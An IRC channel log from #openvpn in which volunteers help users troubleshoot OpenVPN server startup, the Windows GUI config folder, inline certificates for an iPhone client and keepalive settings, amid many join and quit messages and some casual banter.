00:48 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
00:51 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has quit [Quit: leaving]
01:10 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
01:12 < lickalott> k...  I'm back pekster - http://pastebin.com/XtrqYze4
01:12 < lickalott> the service tries to start but seems to get denied.
01:13 < lickalott> I've forwarded the port. put all the keys in where they need to go and believe all the settings are correct.
01:13 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
01:14 < lickalott> oh..and ensured NTP was set to North America
01:16 < pekster> That's missing log details prior to the first line. That said, the process exist on line 16 of that output by an interrupt signal. Either something send openvpn a signal to exit, or one of the options to exit was met
01:18 < pekster> Oh, I see, you just had a trailing line from earlier log out; line 1 isn't from that invocation
01:18 < lickalott> prior to the first line was all failures because I didn't have the correct .pem
01:19 < lickalott> I updated the time and set the NTP then I rebooted and the service is started now.  but i'm getting this - Unable to obtain Session ID from 192.168.1.1:1194: XML-RPC: ConnectionRefusedError: 10061: No connection could be made because the target machine actively refused it..
01:20 < lickalott> if this something I can test from within the network?  i have a DNS that I tried but got the same result
01:20 < pekster> The errors you just listed aren't from openvpn
01:20 < pekster> So, no clue
01:20 < lickalott> they came from the client
01:21 < lickalott> after authentication that error popped up
01:22 < pekster> OpenVPN does not use XMP-RPC or write to the log about obtaining a "Session ID"
01:22 < pekster> XML-RPC*
01:22 < pekster> Don't even worry about the client until your server starts up properly and doesn't exit 4 seconds after it starts
01:24 < lickalott> I think I'm there.  I now show General Statistics and maxbcast/mcast queue length 0 on the status tab
01:24 < lickalott> emphasis on think
01:25 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
01:25 < lickalott> http://tinypic.com/r/1tokyc/6
01:25 <@vpnHelper> Title: Image - TinyPic - Free Image Hosting, Photo Sharing & Video Hosting (at tinypic.com)
01:26 < pekster> Apparently that's "Access Server" which isn't supported here; that's a commercial VPN product and supported by the commercial support team that runs it. If you use the open-source openvpn platform, you must use the open-source client
01:26 < pekster> !download
01:26 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
01:26 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
01:27 < pekster> Also, I just looked up that code, and the logs actually look okay (I mixed up the codes, and that's just to query the list of connected clients, so, the server is at least starting up successfully)
01:27 < lickalott> Ahhhhh
01:29 < lickalott> downloading now.
01:30 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
01:35 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
01:38 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:42 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
01:51 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
01:55 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:00 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
02:01 < lickalott> well that sucked...
02:01 < lickalott> tried to setup the client side and lost the router.
02:03 < pekster> "lost the router" ?
02:09 < lickalott> unresponsive
02:09 < lickalott> had to reset it to get it back.
02:09 < lickalott> no biggie
02:09 < lickalott> i do have one more question, then I'll leave it alone for the night.
02:09 < lickalott> how can I clear the server list cache in the client GUI?
02:11 < pekster> You mean the Windows tray icon "OpenVPN GUI" program?
02:11 < lickalott> yes
02:12 < pekster> That's not a cache; it shows you configuration files at it's reference location, by default <install_path_of_openvpn>\config\
02:13 < pekster> If you have only one it gives you commands to interact with it; if you have >1 it shows you a list, each of which can independently interact with that configuration
02:13 < lickalott> you, my friend, are an animal.  Thanks for all your time!
02:18 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
02:18 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
02:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:19 < lickalott> only file in that path is key.txt
02:21 < pekster> Then the GUI will have no knowledge of any configurations to use (IIRC, it might not refresh its view of available config files without a restart
02:21 < pekster> Of the tray icon GUI application, not of your PC, to clarify
02:22 < lickalott> already did that.  no change.
02:22 < pekster> Then it shouldn't show you any "connect" option (or maybe it does and is greyed out, I forget)
02:23 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
02:27 -!- Greek-Boy [~Greek-Boy@41.138.223.38] has joined #openvpn
02:28 -!- Greek-B0y [~Greek-Boy@41.138.223.38] has joined #openvpn
02:31 -!- Greek-Boy [~Greek-Boy@41.138.223.38] has quit [Ping timeout: 244 seconds]
02:32 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:36 -!- jtrucks_ [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
02:36 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
02:37 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
02:40 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Ping timeout: 630 seconds]
03:11 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
03:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
03:18 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:23 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
03:24 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:30 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
03:30 -!- mode/#openvpn [+o krzee] by ChanServ
03:36 -!- Greek-Boy [~Greek-Boy@41.59.27.19] has joined #openvpn
03:38 -!- Greek-B0y [~Greek-Boy@41.138.223.38] has quit [Ping timeout: 256 seconds]
03:45 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
03:53 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
03:58 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
04:09 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:10 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
04:10 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
04:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
04:23 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
04:25 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
04:27 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 272 seconds]
04:28 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
04:31 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
04:34 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
04:38 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
04:58 -!- hive-mind [pranq@mail.bbis.us] has joined #openvpn
04:58 -!- hive-mind [pranq@mail.bbis.us] has quit [Changing host]
04:58 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:00 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has joined #openvpn
05:00 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has quit [Changing host]
05:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:02 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
05:03 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
05:09 -!- gallatin [~gallatin@dslb-084-058-111-165.pools.arcor-ip.net] has joined #openvpn
05:17 -!- erry [erry@freenode/staff/erry] has quit [Ping timeout: 624 seconds]
05:18 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
05:25 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 264 seconds]
05:29 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
05:32 -!- erry_ is now known as erry
05:44 -!- Greek-Boy [~Greek-Boy@41.59.27.19] has quit [Ping timeout: 256 seconds]
05:49 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
05:54 -!- erry [erry@freenode/staff/erry] has quit [Remote host closed the connection]
05:54 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
05:56 -!- cek [~cek@crius.pantheon.fused.net] has joined #openvpn
05:58 -!- gallatin [~gallatin@dslb-084-058-111-165.pools.arcor-ip.net] has quit [Quit: Client exiting]
06:02 -!- yuri__ [~cek@78.26.128.206] has joined #openvpn
06:02 < yuri__> test
06:02 < yuri__>  looks like resolvconf doesn't add nameserver when ip-up.sh is run:
06:03 < yuri__>  + /sbin/resolvconf -a tun0   + printf '# Generated by openvpn for interface tun0\nnameserver  x.x.x.x\n'  BUT right after that line I see that no iface was added:
06:03 < yuri__> + resolvconf -i
06:03 < yuri__> wlan0
06:05 < yuri__>  here's what i'm getting: https://gist.github.com/celesteking/b97cfc37853305604920
06:05 <@vpnHelper> Title: gist:b97cfc37853305604920 (at gist.github.com)
06:06 -!- cek [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 256 seconds]
06:06 -!- erry [~erry@freenode/staff/erry] has joined #openvpn
06:09 -!- erry [~erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
06:09 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
06:11 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
06:12 -!- erry_ is now known as erry
06:12 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
06:17 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
06:18 -!- erry [erry@freenode/staff/erry] has quit [Remote host closed the connection]
06:23 -!- Mcloven-[Mobile] [~richard@49.176.3.80] has joined #openvpn
06:34 -!- erry [erry@freenode/staff/erry] has joined #openvpn
06:35 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
06:35 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
06:37 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
06:38 -!- yuri__ [~cek@78.26.128.206] has quit [Ping timeout: 276 seconds]
06:41 -!- erry_ is now known as erry
06:41 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
06:42 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
06:44 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
06:48 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
06:50 -!- Mcloven-[Mobile] [~richard@49.176.3.80] has quit [Ping timeout: 276 seconds]
06:50 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
06:50 -!- yuri__ [~cek@crius.pantheon.fused.net] has joined #openvpn
06:55 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
06:55 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Max SendQ exceeded]
06:58 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
06:59 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
06:59 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
06:59 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
06:59 -!- yuri__ [~cek@crius.pantheon.fused.net] has quit [Ping timeout: 276 seconds]
07:03 -!- master_of_master [~master_of@p57B520BD.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
07:04 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
07:04 -!- master_of_master [~master_of@p57B5480E.dip.t-dialin.net] has joined #openvpn
07:05 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
07:10 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
07:11 -!- yuri__ [~cek@78.26.128.206] has joined #openvpn
07:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
07:22 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:24 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:26 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has joined #openvpn
07:26 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has quit [Changing host]
07:26 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
07:30 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
07:32 <@novaflash> ecrist, EugeneKay: http://9gag.com/fast#6538384 (yeah i know, 9fag, whatever, but it's funny)
07:32 <@vpnHelper> Title: 9GAG - Fast (at 9gag.com)
07:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
07:37 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
07:42 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
07:53 < EugeneKay> No.
07:58 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
07:59 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 248 seconds]
08:02 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
08:03 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
08:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
08:06 -!- Guest11768 [~root@94.249.242.85] has joined #openvpn
08:11 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
08:12 -!- Mcloven-[Mobile] [~richard@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
08:14 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has joined #openvpn
08:14 -!- ade_b [~Ade@koln-4d0b16b4.pool.mediaWays.net] has quit [Changing host]
08:14 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
08:23 -!- mode/#openvpn [+v s7r] by ChanServ
08:24 -!- yuri__ [~cek@78.26.128.206] has quit [Ping timeout: 276 seconds]
08:25 -!- Mcloven-[Mobile] [~richard@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
08:30 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:32 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has joined #openvpn
08:34 < funyun> hi. someone here helped me setup a vpn. i have 4 files in a tblk for tunnelblick. ca.crt client.ovpn client1.crt and client1.key. it works fine on my computer but now i want to set up openvpn on my phone. it tells me to zip my config files and add them to the app. but they're not working. can anyone help me?
08:35 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
08:36 <@plaisthos> funyun: which phone?
08:36 < funyun> plaisthos: iphone
08:36 < funyun> 5
08:36 <@plaisthos> sorry I pass
08:37 < funyun> plaisthos: it's not a phone problem. it's more of a problem with me not knowing what config files go where
08:37 < funyun> i'm a noob
08:37 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
08:39 < funyun> anyone else care to help? any help is greatly appreciated
08:40 -!- Guest11768 [~root@94.249.242.85] has left #openvpn []
08:40 -!- gagaprince [~root@94.249.242.85] has joined #openvpn
08:41 < gagaprince> put all those file in the same folder
08:41 < rob0> um, "where the config files go" depends on things like how the OS or user interface starts the VPN
08:42 < rob0> If you have a command line and a config file, you run it as such: "openvpn configfile". The "configfile" then says where to find the other files.
08:42 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit []
08:44 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
08:44 <@plaisthos> funyun: Yes. But I have absolutly no clue of the iOS stuff so I cannot help you there
08:44 < gagaprince> embed everything into the ovpn file
08:44 < gagaprince> problem solved
08:44 <@plaisthos> funyun: my guess is that you can !inline all config and email it to yourself
08:45 <@plaisthos> !inline
08:45 <@vpnHelper> "inline" is (#1) Inline files (e.g. <ca> ... </ca> are supported since OpenVPN 2.1rc1 and documented in the OpenVPN 2.3 man page (https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage under INLINE FILE SUPPORT) or (#2) https://community.openvpn.net/openvpn/wiki/IOSinline for a writeup that includes how to use inline certs
08:45 < EugeneKay> Are you the "Gaga prince", or are you instructing us to "gag a prince" ?
08:45 < EugeneKay> Either one is hilarious
08:46  * gagaprince slaps EugeneKay around a bit with a large trout
08:46 < funyun> 09:44 < gagaprince> embed everything into the ovpn file, are you saying to put all config lines into the client.ovpn file?
08:46 < EugeneKay> What? It's a legitimate question
08:46 < rob0> My daughter had a puppy she thought was mail, and named it Prince. I saw it and noticed that it was female, so I called it "the puppy formerly known as Prince."
08:47 < rob0> s/mail/male/ duh
08:47 < EugeneKay> male mail man
08:49 <@plaisthos> funyun: see the !inline description
08:49 < rob0> then we just called it "Prints" because she made messes with paw prints ... worked out okay.
08:51 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
08:51 < funyun> plaisthos: i might as well be reading spanish. this is what i gather from that but i'm probably wrong.. i need to combine all of these into one file? if that's what it means, how do i hand the 2 crt files?
08:52 <@plaisthos> funyun: it is very simple
08:52 < funyun> plaisthos: not to a retard like me
08:52 <@plaisthos> if there is ca foo.crt in your config you replace it with
08:52 <@plaisthos> <ca>
08:52 <@plaisthos> [content of foo.crt]
08:52 <@plaisthos> </ca>
08:53 <@plaisthos> and do so for key, cert too
08:53 < funyun> plaisthos: okay. do i add <ca2> for the second crt file? or just ca?
08:53 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
08:54 <@plaisthos> funyun: do you have two ca file.crt in your original configuration?
08:54 <@plaisthos> or one that says ca cert1.crt and another that says cert cert2.crt?
08:55 < funyun> plaisthos: yep. these are the files i have. "ca.crt client.ovpn client1.crt client1.key"
08:59 <@plaisthos> now go and edit your client.ovpn
09:00 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
09:02 < funyun> plaisthos: i think i may have found the problem, my crt file doesn't begin with "-----BEGIN CERTIFICATE-----". it begins with "Certificate:"
09:02 < funyun> plaisthos: there is a ton of encryption stuff before it gets to "-----BEGIN CERTIFICATE-----"
09:03 < funyun> algorithm's and things. "Signature Algorithm: sha1WithRSAEncryption"
09:03 < funyun> could that be the problem?
09:03 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
09:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
09:06 <@plaisthos> funyun: should not be
09:06 <@plaisthos> openvpn will ignore everything else
09:07 < funyun> plaisthos: so do i not add that stuff and just add the part with -----BEGIN CERTIFICATE-----?
09:08 <@plaisthos> funyun: works either way
09:09 < funyun> plaisthos: okay. so do i add <tls-auth>?
09:10 < funyun> and if so, where do i find that info?
09:12 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds]
09:13 <@plaisthos> funyun: you replace only the entry that already there in your configuration
09:24 < funyun> plaisthos: i guess it was just the app. i was using the jailbroken app. but i just tried one from the app store and it worked. thank you for your help :)
09:25 -!- erry__ [erry@freenode/staff/erry] has joined #openvpn
09:33 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 255 seconds]
09:36 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
09:37 -!- funyun [~funyun@cpe-65-25-103-89.neo.res.rr.com] has quit [Quit: leaving]
09:43 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
09:52 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
09:56 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
09:57 -!- jtrucks_ is now known as jtrucks
09:57 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
10:03 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Remote host closed the connection]
10:20 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
10:21 <@ecrist> novaflash: that is funny
10:21 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has quit [Ping timeout: 272 seconds]
10:24 -!- erry__ is now known as erry
10:26 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 256 seconds]
10:31 -!- Mimiko [~Mimiko@89.28.88.177] has joined #openvpn
10:32 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
10:33 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:35 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
10:36 <@novaflash> ecrist: yep
10:36 <@novaflash> we have now shared a joke, therefore we are best friends for life
10:37 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
10:38 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:44 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
10:46 < EugeneKay> I LOVE YOU ALL WITH A GREAT HUGE LOVE
10:46 <@novaflash> not that much of a best friend though, i hope
10:51 -!- hive-mind [pranq@mail.bbis.us] has joined #openvpn
10:51 -!- hive-mind [pranq@mail.bbis.us] has quit [Changing host]
10:51 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
10:54 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Connection reset by peer]
10:55 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Remote host closed the connection]
10:57 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:01 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
11:04 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
11:08 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 245 seconds]
11:10 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:11 -!- gagaprince [~root@94.249.242.85] has quit []
11:15 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
11:31 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
11:36 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
11:37 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Connection reset by peer]
11:48 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
11:57 -!- erry [erry@freenode/staff/erry] has quit [Ping timeout: 612 seconds]
12:12 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
12:17 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 244 seconds]
12:27 -!- erry [erry@freenode/staff/erry] has joined #openvpn
12:29 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
12:29 -!- hive-mind [~hivemind@unaffiliated/contempt] has joined #openvpn
12:29 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
12:34 -!- erry_ is now known as erry
12:37 -!- hive-mind [~hivemind@unaffiliated/contempt] has quit [Ping timeout: 252 seconds]
13:10 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 248 seconds]
13:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:22 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:27 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
13:38 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
14:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
14:44 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 246 seconds]
15:02 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
15:11 -!- Mimiko [~Mimiko@89.28.88.177] has quit []
15:15 -!- flashuni [~textual@50-1-20-224.dsl.static.sonic.net] has joined #openvpn
15:34 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 248 seconds]
15:43 -!- flashuni [~textual@50-1-20-224.dsl.static.sonic.net] has quit [Ping timeout: 252 seconds]
15:49 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:53 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
16:15 -!- BtbN [~btbn@btbn.de] has joined #openvpn
16:19 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 246 seconds]
16:34 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 255 seconds]
16:39 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Read error: Connection reset by peer]
16:46 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
16:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:04 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:09 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
17:12 -!- spitf1r3 [~quassel@89.200.144.70] has quit [Remote host closed the connection]
17:24 -!- zz_AsadH [~AsadH@unaffiliated/asadh] has quit [Ping timeout: 252 seconds]
17:24 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 246 seconds]
17:28 -!- zz_AsadH [~AsadH@irc.unixio.com] has joined #openvpn
17:28 -!- zz_AsadH is now known as AsadH
17:28 -!- AsadH [~AsadH@irc.unixio.com] has quit [Changing host]
17:28 -!- AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
17:31 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
17:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
17:40 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
17:40 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:13 -!- erry [erry@freenode/staff/erry] has quit [Quit: Segmentation fault]
18:19 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
18:25 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 276 seconds]
18:32 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
18:32 -!- erry_ is now known as erry
18:32 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
18:49 -!- knobo [~bohmer@81.175.44.217] has joined #openvpn
18:55 < knobo> I run a tunnel with autossh and pppd, Then I have a script that checks if the tunnel is up. If it is not up, I restart it. Do I need to do that with openvpn too, or does it "just work"?
18:55 < pekster> You want:
18:55 < pekster> !keepalive
18:55 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
18:56 < knobo> thanx
18:57 -!- digilink [~digilink@unaffiliated/digilink] has quit [Ping timeout: 244 seconds]
19:00 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
19:03 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:07 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:10 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
19:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:22 -!- knobo [~bohmer@81.175.44.217] has quit [Ping timeout: 256 seconds]
19:43 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
19:50 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 276 seconds]
20:01 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
20:04 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
20:21 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
21:06 -!- y4h0 [~yavor@78.128.23.17] has quit [Ping timeout: 248 seconds]
21:45 -!- mnathani [~mnathani@198.84.231.11] has joined #openvpn
22:10 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
23:04 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 264 seconds]
